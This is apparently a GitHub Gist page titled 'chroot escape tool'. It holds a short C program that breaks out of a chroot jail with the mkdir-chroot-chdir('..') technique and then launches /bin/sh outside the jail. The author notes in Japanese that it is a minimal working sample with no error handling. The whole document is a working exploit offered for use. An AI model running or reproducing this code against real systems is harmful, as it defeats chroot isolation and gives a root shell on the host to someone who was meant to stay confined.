Last active
October 25, 2024 07:08
-
-
Save WinLinux1028/f8c7a993a9330e7baf51c88c2ad1016a to your computer and use it in GitHub Desktop.
chroot脱獄ツール
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
int main(void) { | |
mkdir("escape", 0777); | |
chroot("escape"); | |
rmdir("escape"); | |
printf("Escaping...\n"); | |
for(int i = 0; i < 65536; i++) { | |
chdir(".."); | |
} | |
chroot("."); | |
printf("You have been escaped!\n"); | |
char* args[] = {"/bin/sh", NULL}; | |
execv(args[0], args); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
とりあえず動作し、かつロジックがわかりやすいサンプルが欲しいと思って書いたので、エラー処理はありません